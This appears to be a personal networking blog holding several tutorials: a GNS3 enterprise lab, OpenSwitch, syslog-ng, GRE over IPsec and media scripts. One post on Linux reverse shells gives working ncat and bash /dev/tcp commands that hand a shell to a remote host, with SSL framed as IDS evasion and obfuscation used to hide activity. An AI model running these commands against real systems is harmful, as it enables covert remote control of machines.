brezular

My name is Radovan Brezula and you are reading my personal blog. By way of introduction, let me tell you few words about me and my blog. I work as a professional soldier of the Slovak Armed Forces. I've been a Linux enthusiast since 2005. That time I fell in love with Fedora Linux. My relationship with my beloved Fedora was broken in 2013 when I started using Linux Debian.

I started with my blog in September 2010, at that time as a side project of my studies for Cisco certification. As the days went by, I added tutorials about emulation of various network devices from different vendors using GNS3. In case that you are looking for articles about running devices such as Cisco CSR 1000v, Quagga, VyOS, Open vSwitch, Atista, Alcatel-Lucent and others on Linux, the blog is the right place to start reading. You will also find here information about installation of machine emulators and virtualizers such as Qemu, KVM, VirtualBox, VMware Workstation on Debian and Fedora Linux.

If you wish to get in touch with me, here is my Google+ profile and Google+ page. You can also reach me via Facebook  or send me an email to chicany@gmail.com. If you think it is reasonable to send me an encrypt message, here is my public GPG key.

Enterprise Network on GNS3 - Part 1 - Introduction

Several months ago I had created a simple GNS3 network topology for practicing my networking skills. What had firstly begun as a simple lab, later grew in to a real world enterprise network consisting of a campus, data center, DMZ network blocks and ISPs. During the next several weeks I added new devices into the topology, struggling with no time due to complicated family circumstances. In March 2017 I completely stopped working on this project. Luckily, I was done with the configuration of all devices and I wrote several articles describing my progress. Now, almost a half of the year later, I am ready to share my experience with the blog readers and publish the articles. Below is the list of the articles. I hope you find them useful.

Enterprise Network on GNS3 - Part 1 - Introduction
Enterprise Network on GNS3 - Part 2 - Access Layer
Enterprise Network on GNS3 - Part 3 - Distribution and Core Layers
Enterprise Network on GNS3 - Part 4 - Cisco ASAv-I
Enterprise Network on GNS3 - Part 5 - Data Center
Enterprise Network on GNS3 - Part 6 - Edge Router and ISPs
Enterprise Network on GNS3 - Part 7 - DMZ

The name of the enterprise is CompanyXYZ. The complete enterprise network topology is shown on the picture below. As I have mentioned, it composes of the campus network, data center (DC), DMZ and ISPs.

Picture 1 - Enterprise Network Running On Laptop with GNS3

The entire topology is virtualized, running on the ASUS K55VM laptop with the following hardware and software specification:

Host Hardware:
1. CPU: Intel(R) Core(TM) i7-3610QM CPU @ 2.30GHz
2. RAM: 16GB: 2x Kingston 8192 MB DDR3, speed 1600Mhz
3. Ethernet card: RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller

Host Software:
1. OS: Ubuntu 16.04.2 LTS Xenial
2. GNS3: version 1.5.3
3. QEMU emulator and KVM: version 2.8.0
4. Dynamips emulator: version 0.2.16

The enterprise campus network consists of the access, distribution and core layers. The data center is composed of the layer 3 Cisco switch and the server. The design of the DC is very simplified as the network tiers are squeezed to a single switch layer 3 switch. Unlike the campus network, the aim is to show configuration of the services running on the Server1 instead of discussing the complete DC design. The company edge router is connected to the Internet using two Internet Service Providers (ISPs). The Cisco ASA firewall connects a campus network, data Center and the edge router. The edge router connected DMZ to the rest of the enterprise network and to the Internet. The DMZ consists of the Cisco ASA firewall, layer 3 Cisco switch and the DMZ server. The enterprise is connected to the ISP1 and ISP2 routers via enterprise edge router. Both ISP routers  are bridged via GNS3 clouds to the laptop Ethernet Card RTL8168 (enp4s0f2) in order to simulate connection to the Internet.

Now we can spend few words about devices in enterprise network and software they are running .

Enterprise Campus Network
1. PC1 - PC4: Linux Core 6.3, kernel 3.16.6
2. Access switches: OpenSwitch 0.4.0 (Linux core-4.1-noarch:core-4.1-x86_64)
3. Distribution switches: Arista vEOS, version 4.17.2F
4. Core switches: Cisco vIOS l2 software, vios_l2-ADVENTERPRISEK9-M, version 15.2

Firewall ASAv-I: Cisco Adaptive Security Appliance Software Version 9.6(1)

Data Center:
1. Server: Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-92-generic x86_64)
2. Switch: Cisco vIOS l2 software, vios_l2-ADVENTERPRISEK9-M, version 15.2

Edge Router: Cisco IOSv software, VIOS-ADVENTERPRISEK9-M, version 15.6(2)T,

DMZ:
1. Firewall: Cisco Adaptive Security Appliance Software Version 9.6(1)
2. Switch: Cisco vIOS l2 Software, vios_l2-ADVENTERPRISEK9-M, version 15.2
3. Server: Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-92-generic x86_64)

ISPs: Cisco 7206VXR (NPE400), Cisco IOS Software, 7200 Software (C7200-ADVIPSERVICESK9-M), version 15.2(4)S4

Public IP Addresses Assignment
The company has assigned a block of the public IP addresses 195.1.1.0/24. This is the entire class C network. The first a half of the IP addresses range is used for NAT and the second half of the range is used for DMZ. Below is the complete list of  used subnets and their assignment.

195.1.1.0/25 - NAT
- 195.1.1.128/25 - DMZ
--- 195.1.1.128/32 - point-to-point connection - in use
--- 195.1.1.132/32 - point-to-point connection - in use
--- 195.1.1.136/32 - point-to-point connection - free
--- 195.1.1.140/32 - point-to-point connection - free
--- 195.1.1.144/32 - point-to-point connection - free
--- 195.1.1.148/32 - point-to-point connection - free
--- 195.1.1.152/32 - point-to-point connection - free
--- 195.1.1.156/32 - point-to-point connection - free
--- 195.1.1.160/29 - Vlan 10 - in use
--- 195.1.1.192/29 - free
--- 195.1.1.224/29 - free

Note: The router vIOS-EDGE-I has assigned a public IP address 198.10.10.2 from the ISP1 IP address range and the IP address 197.10.10.2 from ISP2 IP address range.

Private IP Addresses Assignment
Users connected to the ports of the access switches have their IP addresses assigned from the networks 192.168.10-40.0/24. Point-to-points links between Distribution and Core switches are configured with IP addresses from the subnets 10.0.0.0/24. Point-to-point links between ASAv-I, campus network and data center are configured with IP addresses from the subnet 172.16.0.0/24. The server Server1 is connected to the Cisco L3 switch vIOS-Ser-I in a DC and it has IP address assigned from the subnet 172.16.50.0/24. Loopback and management IP addresses are assigned from the subnet 10.1.1.0/24.

Users: 192.168.10-40.0/24
Distribution and core layer links: 10.0.0.0/24
ASAv-I, campus and data center links: 172.16.0.0/24
Server1 (DC): 17.16.50.0/24
Loopbacks: 10.1.1.0/24 and management

Services Provided by Servers
Servers Server1 in a DC and the SERV-DMZ-I in DMZ provide the following services.

1. DNS: Domain name resolution for network devices and workstations
2. DHCP: automatic IP address assigment for workstations
3. Syslog: logging for network devices
4. NTP: precise time for network devices
5. Radius: remote authentication for network devices (except DMZ and vIOS-EDGE-I)
6. Web: company WEB server for Internet users (only DMZ)

Interfaces Naming
Each network interface in the topology has assigned two interface names although the both names represent a single interface. The first name is assigned by GNS3 itself (e0, e1, e2 etc.). The second name is the interface name that is shown in the configuration of the device. For instance, the ASAv-I is connected with the vIOS-Core-II with the interface e1. However, the interface e1 is represented by the interface Gi0/0 in the ASA configuration.

Login Credentials
Below is the list of the changed usernames and passwords for all devices in the topology. The string before the slash represents a username and the string after the slash represents the password.

1. Local Credentials for Cisco and Arista Devices

Local User  - Level 1
admin/cisco

Local User -  Level 15
admin15/cisco15

Local Enable
cisco

2. Radius Credentials for Cisco and Arista Devices

Radius User - Level 1
raadmin/racisco

Radius User - Level 15
raadmin15/racisco15

Radius Enable
racisco

3. Local Credentials for Openswitch Appliance

netop/cisco
Linux: admin/cisco

4. Credentials for PC1 - PC4:   tc/tc

5. Credentials for Linux Ubuntu:  ubuntu/ubuntu

6. ISP1 and ISP2:  devices are not configured for authentication.

Bandwidth Limitation
Cisco ASAv is unlicensed so the traffic rate is limited to 100 kbps and maximum connection limit is set to 100. For this reason, connection to the Internet is limited to 100 kbps.

Issues
I noticed some mysterious issues while running the devices that I could not explain. Luckily, very often restarting a port for a particular device solved a problem. For instance, network traffic originated on ISP1 was sent to the Internet from the Gi0/0. However, the router ISP1 did not forward incoming data traffic to the Internet that entered the interface Gi0/1. In this case, restart of the port Gi0/0 on the ISP1 solved the issue. The other issue that I noticed was about 2% loss of the packets destined for the Internet when both ISP routers were running simultaneously. If the both routers were not needed to run at the same time, shutdown of the ISP2 router represented a workaround. As the last point, I recommend to use vIOS-l2 instead of the OpenSwitch appliances as I have spent hours troubleshooting OpenSwitch unexpected behavior. As I have mentioned, very often temporary shutdown of VLAN or VLAN interface solved a mystery.

 

Downloading YouTube Videos From Links Saved In Google Chrome Bookmarks

The Bash script youtube-bookmarks-mp3.sh is using Python youtube-dl script along with ffmpeg in order to download videos from YouTube service. It also enables youtube-dl to convert videos to mp3 audio format. The script exports YouTube links from Bookmarks and copy them into the file bookmarks.txt. Multiple videos are downloaded and converted simultaneously in the background by the script.

Note: According to YouTube Terms of Service, you shall not copy, reproduce, distribute, transmit, broadcast, display, sell, license, or otherwise exploit any Content for any other purposes without the prior written consent of YouTube or the respective licensors of the Content.

 

OpenSwitch Network Operating System

The Open Network Install Environment (ONIE) is an open source install environment that gives a switch user a choice to download ONIE compliant Network Operation System (NOS) to bare metal network switches. The OpenSwitch is community based, open source NOS that runs on hardware based on ONIE.

The goal of this article is to show how to build OpenSwitch Virtual Machine appliance, describe its capabilities and to introduce three methods for managing OpenSwitch. The OpenSwitch VM appliance was created by OpenSwitch project for training and testing purpose. It uses software data plane to forward the packets but it is not intended to be used as a virtual switch for connecting virtual machines. OpenSwitch supports many L2, L3 protocols such as STP, LACP, LLDP, OSPF, BGP, DHCP, TFTP, NTP, SSH, SNMP and others. These protocols run as separate daemons and they were integrated from another open-source projects.

For instance Quagga project provides L3 functionality to Openswitch. Quagga modules ops-ospf and ops-bgp update active routes in OpenvSwitch database (OVSDB). The module ops-zebra reads routes from OVSDB and install them to the kernel. Static routes are also stored in OVSDB, read by ops-zebra module and installed to the kernel. In order to use ASIC for fast-path routing, the module ops-vswitchd downloads a route from OVSDB and it install is to ASIC. ASIC uses the route, nexthop IP, next hop MAC and the egress port to route a packet. The pair neigbour IP address and MAC address is read from kernel neighbor table by a module ops-arpmgrd. If there is no entry, packets is sent to a kernel for ARP resolution and routed by the kernel. However the missing neighbor MAC address is added to ASIC and all other subsequent packets are routed by ASIC. The module ops-arpmgrd is also responsible for sending requests to kernel to refresh ARP entries for neighbors that have active data traffic.

The functionality of all OpenSwitch modules is very well documented on OpenSwitch website. The modules are stored in a directory /usr/sbin inside the OpenSwitch VM appliance.

OpenSwitch uses CLI similiar to Cisco IOS CLI. It makes configuration enough straightforward for a Cisco network engineer. They are also other two methods Web UI and Rest API that we can use for OpenSwitch management. I will describe them later.

1. Building OpenSwitch OVA Image From Sources

They are two ways how to obtain OpenSwitch OVA image. We can either clone OpenSwitch repository and compile OVA image from sources or we can donwnload image directly from OpenSwitch website.

In order to build OpenSwitch, we first need to install Linux OS. Linux can be installed on a virtual machine but assign enough CPU cores and RAM to the VM. Building the OpenSwitch from sources takes lots of resources so in order to shorten the time required for compilation, make your VM really powerful. I have assigned four CPU 4 cores and 4G RAM to the guest and compilation taken about 30 minutes.

Now we can install packages required for compilation.

$ sudo apt-get install python chrpath device-tree-compiler build-essential diffstat texinfo openssl libssl-dev

Clone the OpenSwitch development environment and build system.

$ git clone https://git.openswitch.net/openswitch/ops-build
$ cd ops-build

Compile sources with the following commands.

$ make configure appliance
$ make

Once compilation finishes, the OVA image should be ready in a directory ~/ops-build/images. Now download the final OVA image from the guest to the host machine with the command:

$ scp -rv ~/ops-build/images/openswitch-appliance-image-appliance.ova brezular@10.0.2.2:/home/brezular/

2. Downloading OVA Image

The OVA image can be found on OpenSwitch website but without the guarantee that the image is uploaded  there. Check the content one of the directories here. There should be a directory named appliance containing the OVA image. If not, try to search inside an another directory.

3. Runing OpenSwitch Virtual Appliance

Use Virtual Box to import a virtual machine. Navigate to File-> Import Appliance. If you prefer Qemu to Virtualbox just extract vmdk disk from OVA image with the command:

$ tar xvf openswitch-appliance-image-appliance.ova

Then you can start the virtual machine with the command below.

$ /usr/local/bin/qemu-system-x86_64 --enable-kvm -m 1024M -smp 2 OpenSwitch.vmdk

4. Users and Groups

By default they are three built-in roles ops-admin, ops-netop and none created for authenticated users. The roles ops-admin and ops-netop are represented by user groups with the same names. Users are assigned to the group based on their roles. For instance, members of the group ops-admin have no access to OpenSwitch shell - vtysh so they cannot configure OpenSwitch. However all the members of the group ops-admin can run sudo su command and eventually start vtysh shell. It is because there is a following line in the file /etc/sudoers.d/useradd.

%ops_admin ALL=(ALL) NOPASSWD: ALL

The group ops-admin is used for firmware upgrades, changing users' accounts (after sudo su command). User accounts assigned to the group ops-netop have access to vtysh shell and they are used for reading and writing from and to OpenSwitch configuration.

Below is the list of some default users created on OpenSwitch appliance assigned to the particular groups and having access to shells.

root - without password, /bin/bash
admin - without password assigned to ops-admin group, /bin/bash
netop - password netop assigned to ops-netop group, /usr/bin/vtysh

The user netop is a member of the groups ops-netop, ovsdb-client and ops-coredump. This user has access to vtysh shell and it is used for configuring OpenSwitch. If we want to create a new user account e.g. test for OpenSwitch configuration, we need to create it as following:

# /usr/sbin/useradd -g ops_netop -G ovsdb-client -s /usr/bin/vtysh test

The user test is now assigned to its primary group ops_netop and to the group ovsdb-client using the vtysh shell.

Note: The user root has no password set so it should be configured to allow an access to the system for authorized users only.

5. Web User Interface

The Web UI  provides  provides system, general and hardware information about OpenSwitch. It also provides status and utilization of the interfaces and displays their statistics. You can find there information about VLANs, logs and configuration of the Link Aggregation (LAG) and Equal-cost multi-path routing (ECMP). It also contains links to OpenSwitch Rest API and to quick guides about interfaces and LAG configuration.

Picture 1 - Web UI

The Web UI is using the REST API to authenticate the user and to retrieve a list of permissions accessible to the user. Use switch CLI to login as root with no password. Enable and start nginx and restd services.

systemctl enable nginx && systemctl start nginx
systemctl enable restd && systemctl start restd

If there is a DHCP server running in a network where OpenSwitch appliance is connected to, the switch should obtain the IP address from DHCP server on its eth0 interface. If not, you probably need to bridge the first switch interface to the network with DHCP server. Navigate to Machine-> Settings-> Network-> Adapter1 and bridge the interface. Then use web browser to login to the IP address of the eth0 interface as a user netop with the password netop.

6. Rest API

Using Rest API and HTTP methods such as GET, PUT, PATCH, POST we can get or store data from and to the OpenSwitch. First we will show how to log to the OpenSwitch using curl command.

Login to OpenSwitch with the IP address  assigned to a management interface with the username netop and password netop and save a cookie to the file mycookie. If there is no an error message, yur login is successful.

$ curl -c mycookie -X POST -k "https://172.17.100.7/rest/v1/login?username=netop&password=netop"

Check if the cookie is successfully stored with the command below.

$ more mycokie

Picture 2 - Saved Cookie

Now we can pull  information from OpenSwitch. For instance, list the available interfaces with the command:

$ curl -b mycookie -k https://172.17.100.7/rest/v1/system/interfaces/

Picture 3 - Available Interfaces

Similarly, we can pull information about configured VLANs. There is only default VLAN 1 created.

$ curl -b mycookie -k https://172.17.100.7/rest/v1/system/bridges/bridge_normal/vlans

Picture 4 - List of VLANs

 

Syslog-ng Configuration For Newbies

Some time ago I was asked by my friend to recommend a cost-free solution that he could use for storing logs of his security device over network. The Linux OS with installed syslog-ng is perfectly suitable for this job because it can collect logs from any source, process them in near real-time and deliver them to a wide variety of destinations. However it was challenge to explain all the steps in an easy manner as he was a total newbie in a Linux world. For this reason I wrote a basic installation and configuration manual for him which I share with you. The manual helps you to setup syslog-ng on Ubuntu server and troubleshoot the possible issues.

1. Install Ubuntu 16.04 Server Edition

During Ubuntu installation you are asked to provide the username/password and IP settings. Once an installation process finishes, the system is rebooted. when you get your console again, login and install updates with the command:

$ sudo su
# apt-get update
# apt-get upgrade

2. Install and Configure Syslog-ng

# apt-get install syslog-ng

First, you need to download a simple configuration file that I created for you.

# cd /etc/syslog-ng/conf.d
# wget http://brezular.com/wp-content/uploads/2016/12/firewals.conf_.txt -O firewals.conf
# service syslog-ng restart

3. Static IP Address Configuration

You probably need to configure a static IP address for the interface. Find the name of our Ethernet interface with the ifconfig command. Then edit the file /etc/network/interfaces with nano or vim editor and configure IP settings. Below is an example of static IP configuration for the interface ens3.

Picture 1 - Static IP Address Configuration

Restart a network service with a command:

# service networking restart

4. Troubleshooting

The Syslog-ng service should listen on all IP address and TCP and UDP port 514.

# netstat -tulpn | grep 514

Picture 2 - TCP/UDP Port 514 Opened by Syslog-ng Service

If you want the syslog-ng to listen on a particular IP address instead of all IP addresses, replace the IP address 0.0.0.0 with the desired IP address in the configuration file /etc/syslog-ng/conf.d/firewals.conf. You can also change the owner of the saved log files there. Do not forget to restart syslog-ng service after your changes in the config file.

Logs are placed to the directory /var/log/firewalls. Check a content of the directory with the command:

# ls -l /var/log/firewalls/
total 8
drwxr-x--- 3 ubuntu ubuntu 4096 Dec 8 20:16 192.168.0.1
drwxr-x--- 3 ubuntu ubuntu 4096 Dec 8 20:18 192.168.0.2

As you can see they are two directories 192.168.0.1 and 192.168.0.2 that were automatically created by syslog-ng based on the IP addresses of the devices we are collecting logs from. 

Picture 3 - Testing Topology

Our configuration file tells syslog-ng to create a directory structure based on the IP_of_device/year/month for each contributing device. For each day a log file is created inside the IP/year/month directory.  Let's inspect a log file of a router 192.168.0.1.

# cat /var/log/firewalls/192.168.0.11/2016/12/192.168.0.1-2016-12-08.log
Dec 8 20:16:45 192.168.0.1 : %SYS-5-CONFIG_I: Configured from console by console
Dec 8 21:14:21 192.168.0.1 : %SYS-5-CONFIG_I: Configured from console by console
Dec 8 21:15:33 192.168.0.1 : %LINK-5-CHANGED: Interface GigabitEthernet1/0, changed state to administratively down
Dec 8 21:15:34 192.168.0.1 : %LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet1/0, changed state to down
Dec 8 21:17:28 192.168.0.1 : %SYS-5-CONFIG_I: Configured from console by console
Dec 8 21:22:32 192.168.0.1 : %LINK-3-UPDOWN: Interface GigabitEthernet1/0, changed state to up
Dec 8 21:22:34 192.168.0.1 : %LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet1/0, changed state to up

5. Configuring Cisco Router for Sending Traps to Syslog-ng

These two commands configure a Cisco router for sending logs with a priority 5 (notification) to a syslog server with IP address 192.168.0.100.

R1(config)# logging trap notifications
R1(config)# logging host 192.168.0.100

 

Reverese Shell on Linux

Reverse shell is technique when a client connects to a server and the client provides its shell to the server. Clients is typically a host hidden behind the NAT or a firewall having an access to the server but not vice versa. Thanks to a reverse shell the server controls a client's shell having an access to the client's network even the client is hidden behind the NAT. They are several methods how to create a reverse shell used depending on software available on the client. I will show how to create a reverse shell using SSH, Ncat and Bash.

picture1-network_topology

Picture 1 - Network Topology

Picture 1 shows our testing topology. The client (Ubuntu Server 16.04) is located behind the NAT with the IP address 192.168.1.4/24. The server (Kubuntu 16.04) has assigned the IP address 172.17.100.7/16.

1. Reverse Shell Using SSH Reverse Tunnel

This method is based on the fact that the client has knowledge of the server SSH login credentials and vice versa. SSH server must be running on both the server and client. Client must be allowed to access server through firewall.

Client:
$ ssh -R 10000:127.0.0.1:22 brezular@172.17.100.7

10000 - remote port opend on the server
22 - clients's local port
brezular@172.17.100.7 - username and IP address of the server

Server:
First, check if port 10000 is open on server.

picture2-port_open_on_server

Picture 2 - TCP Port 10000 Opened on Server

Now we connect from the server to the client with the command:

$ ssh -p 10000 root@127.0.0.1

2. Reverse shell with Ncat using SSL encryption

In order to prevent IDS to inspect a content of network traffic we will use a version of Ncat that supports SSL. The netcat version provided by a Nmap package supports both SSL and IPv6.

$ ncat --version
Ncat: Version 7.01 ( https://nmap.org/ncat )

First, we will configure server to listen on all IP addresses and TCP port 10000.

Server:
$ ncat -l -k -v --ssl -p 10000

By default a TCP protocol is used. Only TCP Ncat mode supports SSL.
-l listen
-k accept multiple connections in listen mode
-v verbose mode
--ssl connect with SSL
-p port

Client:
$ ncat -e /bin/bash --ssl 172.17.100.7 10000

-e executes /bin/bash

Ncat is working great but in many cases it is not installed on the client. To provide a correct version of Ncat I have created a script runncat.sh that contains converted Ncat binary from the Nmap package to base64 and hexa strings that are stored in particular variables. The script extracts ncat to a file /tmp/.binary. Then it checks if there is an established session with the server 172.17.100.7. If no, it tries to connects to the server 172.17.100.7,  TCP port 10000. If connection is successful, session between client and server is established and script waits. If no connection is established, the script keeps to connect the server every 20 seconds.

3. Reverse Shell with Bash

Scripting languages can be used to create a reverse shell. I will show a reverse shell using Bash that is very common in Linux. Again, we start the Ncat on the server to listen on a port 10000.

$ ncat -l -k -v --ssl -p 10000

Client:
$ while true; do (/bin/bash -i > /dev/tcp/172.17.100.7/10000 0>&1 2>&1) > /dev/null 2>&1; [ "$?" == 1 ] && sleep 20; done

To hide our activity in the system we will slightly change a script written by Danielle Bellavista which obfuscates our Bash reverse shell command. The script obfuscator.sh creates a file payload in a actual directory. Then we just copy a file payload to the client, assign execute privileges to the file and run it on the client.

 

 

Bash Script for Converting Video To MP3 Audio

I like listening to video training on my smartphone while walking to work. To save the space on the memory card I convert videos to MP3 audio in advance. For this purpose I wrote a Bash script video_to_mp3.sh which helps me to manage a conversion job. The script uses ffmpeg for conversion and it creates parallel conversion tasks to speed up the conversion process. The script checks the CPU load and it creates a new background process only if the CPU load is under a particular limit entered by a user.

picture2_script_usage

Picture 1 - Script Usage

Below is the output from the conversion process.

picture1_script_usage

Picture 2 - Output From Conversion Process

The script creates a log file displaying info about the result of all conversion tasks. If the conversion fails for a particular video file, the script displays a return value of ffmpeg utility and the name of the file which is not successfully converted.

picture2_log_file_format

Picture 2 - Output from Log File

End.

 

GRE over IPSec Tunnel and NAT Between Cisco and VyOS

The goal of this tutorial is to provide a configuration for Cisco and VyOS network devices with configured PAT (Port Address Translation) that connect two remote sides A and B through point-to-point GRE tunnel encapsulated into a IPsec tunnel. In a previous tutorial we proved that GRE tunnels in conjunction with IPsec tunnels transmit multicast traffic while data integrity, authentication and confidentiality was in place. I also provided a simple configuration of GRE, IPsec tunnel and OSPF routing protocol on the Cisco and VyOS routers. In this tutorial I will go further and provide full configuration of  the all network devices including PAT and access-lists.  picture1_network_infrastructure

Picture 1 - Network Topology

Topology Description - Side A

Each side has a Layer 2 Cisco switch located in a LAN network. A switch connects hosts to its switchports. Each switchport is assigned to a particular VLAN. For instance, a host PC1 is connected to the switch SW1 and the switchport is assigned to a VLAN 100. Hosts in VLAN 100 (subnet 192.168.1.0/24) have guaranteed access to a remote subnet 192.168.2.0/24 via GRE/IPsec tunnel. A NAT access-list configured on a router R1 ensures that IP address of the host in VLAN 100 is not translated by PAT when a destination address is inside a range 192.168.2.0/24. However, if a destination address is not in a range 192.168.2.0/24, the PAT translates IP addresses of the hosts in VLAN 100 to a public IP address 1.1.1.10. For instance it happens when a user logged on the host  PC1 tries to connect to the router R3 located in the Internet.

Hosts assigned to VLAN 100 have blocked access to a VLAN 300 (192.168.3.0/24) because the VLAN 300 is reserved for guests. For this reason hosts assigned to the VLAN 300 have their access limited only to the Internet. The hosts assigned to the VLAN 100 have no access to the subnet 192.168.4.0/24 configured on a remote VyOS router. The reason is that the subnet 192.168.4.0/24 is hidden behind NAT  thus it is not reachable from the Internet.

Topology Description - Side B

The side A shares the similar connectivity principles with a side B. Hosts assigned to the VLAN 200 (192.168.2.0/24) can reach the hosts in a remote subnet 192.168.1.0/24 via GRE/IPsec tunnel. They can also reach the public addresses in the Internet. However in this case, their IP addresses from the subnet 192.168.2.0/24 are translated to a public IP address 2.2.2.10 by PAT. The VLAN 400 is where guests are connected. The hosts assigned to this VLAN have access only to the Internet and their IP addresses 192.168.4.0/24 are translated to an IP address 2.2.2.10. A detailed connectivity table for sides A and B is shown below.

chart1_connectivity_scheme

Tab 1 - Connectivity Between Subnets

1. Internet Configuration

1.1 Router R3 Configuration

The following commands configured on a router R3 make the router to act as our simulated Internet which connects two remote sides A and B.

2. Side A Configuration

2.1 Layer2 Switch SW1 Configuration

Configure an interface Gi0/0 as a trunk port with allowed VLANs 100 and 300. Configure appropriate VLANs on access interfaces Gi0/1 and Gi0/2 and set interfaces as access ports. The actual commands are here.

2.2 Hosts PC1 and PC3 Configuration

All hosts located in infrastructure are based on Core Linux which requires additional configuration in order to keep IP settings after restart. To make configuration easier for you I have created a BASH script assign_ip.sh that configures an IP address, subnet mask and default gateway for a particular host. Just copy and paste the script to the vim editor on each PC and run the script as a user root with the command:

$ sudo bash ./assign_ip.sh pcnumber

Replace a word pcnumber with a number:

PC1
$ sudo bash ./assign_ip.sh 1

PC3
$ sudo bash ./assign_ip.sh 3

2.3 Router R1 Configuration

2.3.1 Router R1 on the Stick and Default Route

This configuration provides routing between VLANs 100 and 300 and it creates a static default route to the Internet.

2.3.2 R1 - NAT

Here we configure sub-interfaces GigabitEthernet 1/.0.100 and 1/0.300 as the NAT inside interfaces and the interface GigabitEthernet 0/0 as the NAT outside interface. The PAT configuration consists of creating a named access-list PAT that permits a translation of a subnet 192.168.3.0/24 to any subnet and it denies a translation of the subnet 192.168.1.0/24 to the subnet 192.168.2.0/24. The subnet 192.168.1.0/24 will be translated to the public address 1.1.1.10 only if traffic is not destined for a remote IPsec subnet 192.168.2.0/24. The PAT access-list is applied on the interface GigabitEthernet 0/0.

2.3.3 R1 - ISAKMP - Phase 1

First we create isakmp policy and select encryption, the hash algorithm, type of authentication, Diffie-Hellman group and lifetime. Then we configure key the shared key and peer address.

2.3.4 R1 - IPSec - Phase 2

In phase two we are going to create  IPSec ipsec transform set MyTS and configure encryption and the hash algorithm. This is also a place where we define IPSec mode - either a tunnel (default) or transport mode. In the tunnel mode a completely new IP delivery header is inserted in each IPSec packet while in a transport mode IP header stays untouched (except of the changed protocol type - 50 for ESP). Continue with creating a new IPsec profile named Protect-GRE. Assign transform-set MyTS is to the profile Protect-GRE and configure the lifetime. And finally assign IPSec profile to the interface tun0.

2.3.5 R1 - GRE Tunnel

GRE tunnel configuration is here.

2.3.6 R1 - OSPF Routing Protocol

OSPF routing protocol is configured here. In order to prevent sending OSPF hello multicast messages to a LAN network we configure interfaces GigabitEthernet 1/0.100 and  1/0.300 as passive interfaces.

2.3.7 R1 - Access Lists

First we create an extended named access-list incoming_traffic_g0/0. The rule 10 permits UDP packets from source IP 2.2.2.10 to a destination IP address 1.1.1.10, the destination UDP port 500. This is a port that ISAKMP protocol uses. The rule 20 permits ESP packets from the IP address 2.2.2.10 to the IP address 1.1.1.10. The rules 10 and 20 are required by IPSec tunnel. The rule 30 permits icmp echo-reply traffic from any subnet to the IP address 1.1.1.10. We need this rule to allow our hosts behind NAT to ping hosts in the Internet. The rule 40 permits established TCP traffic from any host to the IP address 1.1.1.10.  This rule is needed in order to pass incoming established TCP traffic previously sent by our hosts behind NAT to the Internet. The rule 1000 blocks any other traffic. Finally, we will apply the access-list on the interface GigabitEthernet 0/0 in an incoming direction.

The extended access-list outgoing_traffic_tun0 permits outgoing traffic from the subnet 192.168.1.0/24 to the subnet 192.168.2.0/24 and it blocks any other traffic. The access-list is applied on the interface tun0. It ensures that only traffic from the subnet 192.168.1.0/24 destined for the subnet 192.168.2.0/24 is encapsulated into the GRE tunnel.

To prevent sending packets with private addresses 192.168.1.0/24 to the Internet when the IPsec tunnel fails, we need to create the access-list outgoing_traffic_gi0/0. The rule 10 ensures that any packets with source address from the subnet 192.168.1.0/24 leave the router R1. The access-list is configured in an outgoing direction on the interface GigabitEthernet0/0. The rule 1000 permits any other traffic.

The extended named access-list incoming_traffic_gi1/0.300 applied on the interface GigabitEthernet 1/0.300 for incoming packets prevents hosts on the subnet 192.168.3.0/24 to reach the hosts inside the subnet 192.168.1.0/24.

The extended named access-list incoming_traffic_gi1/0.100 applied on the interface GigabitEthernet 1/0.100 for incoming packets prevents hosts on the subnet 192.168.1.0/24 to to reach the hosts inside the subnet 192.168.3.0/24.

3. Side B Configuration

3.1 Layer 2 SW2 Configuration

The following commands configure a trunk port, access ports and VLANs on L2 switch SW2.

3.2 Hosts PC2 and PC4 Configuration

PC1
$ sudo bash ./assign_ip.sh 2

PC3
$ sudo bash ./assign_ip.sh 4

3.3 Router VyOS Configuration

3.3.1 Router VyOS on Stick and Default Static Route

First, we configure an IP address 2.2.2.10/24 on the interface eth0 and the particular IP addresses on the sub-interfaces eth1.200 and eth1.400. Then we create a default static route with the IP address 2.2.2.2 as a next hop.  The actual configuration is here.

3.3.2 VyOS - NAT

We will create a source NAT with the rule 5 that excludes translation of the packets sent from the IP subnet 192.168.2.0/24 to the subnet 192.168.1.0/24. The rule 10 translates the source IP addresses of packets from the subnet 192.168.4.0/24 to a public IP address 2.2.2.10. The IP address 2.2.2.10 is configured on the outbound interface eth0. The rule 15 translates IP addresses of hosts from the subnet 192.168.2.0/24 to the IP address 2.2.2.10 when they sent traffic to the Internet. NAT configuration is here.

3.3.3 VyOS IPSec Tunnel

Enable IPSec on interface eth0.

3.3.4 R1 IKE Group - Phase 1

Create the ike-group named cisco and  configure encryption, the hash algorithm, DH group and lifetime.

3.3.5 VyOS - ESP Group - Phase 2

Create the esp-group named cisco and configure encryption, the hash algorithm and lifetime. Configure tunnel peer and pre-shared key. Associate ike group cisco and esp group cisco with the peer 1.1.1.10. Configure a local address used for connection. And finally, configure GRE protocol that is going to be encapsulated inside IPSec tunnel.

3.3.6 VyOS - GRE Tunnel

Create a new route policy change_mss that changes TCP MSS (Maximum Segment Size) to 1360 bytes. Then we can create GRE tunnel.

3.3.7 OSPF Configuration

Here is OSPF routing protocol configuration on VyOS.

3.3.7 VyOS - Firewall Configuration

The firewall incoming_traffic consists of the rules 1, 5 and 10 with a configured default action drop. The rule 1 allows incoming established and related traffic generated by the hosts assigned to VLAN 200 and 400. The rule 5 accepts incoming packets from the IP address 1.1.1.10 to the IP address 2.2.2.10 and to the destination port UDP 500. This is the port a ISAKMP protocol uses. The rule 10 accepts incoming packets with esp protocol from the IP address 1.1.1.10 to the IP address 2.2.2.10. The firewall name incoming_traffic is applied on the interface eth0 for incoming traffic passing the firewall and traffic destined for firewall itself (keyword local).

The firewall outgoing_traffic_tun0 inspects outgoing traffic from the interface tun0. The rule 10 allows outgoing traffic  from the subnet 192.168.2.0/24 to the subnet 192.168.1.0/24. All other traffic is dropped.

The firewall outgoing_traffic_eth0 with the rule 10 applied on the interface eth0 in the outgoing direction prevents packets with source addresses 192.168.2.0/24 destined for the subnet 192.168.1.0/24 to leak to the Internet when the VPN tunnel fails.

